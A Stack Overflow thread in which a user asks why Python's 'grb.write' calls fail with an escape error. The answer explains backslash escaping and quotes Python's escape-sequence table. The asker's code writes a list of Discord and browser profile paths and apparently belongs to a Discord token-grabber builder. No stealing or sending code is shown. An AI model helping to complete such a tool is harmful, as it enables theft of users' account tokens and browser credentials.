0

I have this error and i can't fix it. Please help me.! (Image of the error.)

Code:

    grb.write('PATHS = {\n')
    grb.write('    "Discord"           : ROAMING + "\\\Discord",\n')
    grb.write('    "Discord Canary"    : ROAMING + "\\\discordcanary",\n')
    grb.write('    "Discord PTB"       : ROAMING + "\\\discordptb",\n')
    grb.write('    "Google Chrome"     : LOCAL + "\\\Google\\\Chrome\\\User Data\\\Default",\n')
    grb.write('    "Opera"             : ROAMING + "\\\Opera Software\\\Opera Stable",\n')
    grb.write('    "Brave"             : LOCAL + "\\\BraveSoftware\\\Brave-Browser\\\User Data\\\Default",\n')
    grb.write('    "Yandex"            : LOCAL + "\\\Yandex\\\YandexBrowser\\\User Data\\\Default"\n')
    grb.write('}\n')

Im expecting someone to help me with this.

6
  • Why do you use triple reverse solidus? \U literal has a particular meaning in Python String and Bytes literals Commented Apr 2, 2022 at 10:07
  • because its .wirite and \\ in .write = \ so i had to add one more \ Commented Apr 2, 2022 at 10:13
  • so i should do \U instead of \\\ ? Commented Apr 2, 2022 at 10:13
  • Use double backslash; then you get \, e.g. as in print("\\Google\\Chrome\\User Data\\Default") which returns \Google\Chrome\User Data\Default Commented Apr 2, 2022 at 10:22
  • yah, but i wan't it to return double backslash Commented Apr 2, 2022 at 10:25

1 Answer 1

2

If you want a double backslash in output, use quadruple backslash (\\\\) in a string literal to get \\, e.g. as follows (apply grb.write instead of print):

print('    "Google Chrome"     : LOCAL + "\\\\Google\\\\Chrome\\\\User Data\\\\Default",\n')
    "Google Chrome"     : LOCAL + "\\Google\\Chrome\\User Data\\Default",

Explanation: String and Bytes literals

… The backslash (\) character is used to escape characters that otherwise have a special meaning, such as newline, backslash itself, or the quote character. …

Unless an r or R prefix is present, escape sequences in string and bytes literals are interpreted according to rules similar to those used by Standard C. The recognized escape sequences are:

Escape Sequence  Meaning                         Notes
\newline         Backslash and newline ignored
\\               Backslash (\)
\'               Single quote (')
\"               Double quote (")
\a               ASCII Bell (BEL)                \x07
\b               ASCII Backspace (BS)            \x08
\f               ASCII Formfeed (FF)             \x0c
\n               ASCII Linefeed (LF)             \x0a
\r               ASCII Carriage Return (CR)      \x0d
\t               ASCII Horizontal Tab (TAB)      \x09
\v               ASCII Vertical Tab (VT)         \x0b
\ooo             Character with octal value ooo  (1,3)
\xhh             Character with hex value hh     (2,3)

Escape sequences only recognized in string literals are:

Escape Sequence  Meaning                                      Notes

\N{name}         Character named name in the Unicode database (4)
\uxxxx           Character with 16-bit hex value xxxx         (5)
\Uxxxxxxxx       Character with 32-bit hex value xxxxxxxx     (6)

Notes:

  1. As in Standard C, up to three octal digits are accepted.
  2. Unlike in Standard C, exactly two hex digits are required.
  3. In a bytes literal, hexadecimal and octal escapes denote the byte with the given value. In a string literal, these escapes denote a Unicode character with the given value.
  4. Changed in version 3.3: Support for name aliases 1 has been added.
  5. Exactly four hex digits are required.
  6. Any Unicode character can be encoded this way. Exactly eight hex digits are required.

Unlike Standard C, all unrecognized escape sequences are left in the string unchanged, i.e., the backslash is left in the result.

Sign up to request clarification or add additional context in comments.

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.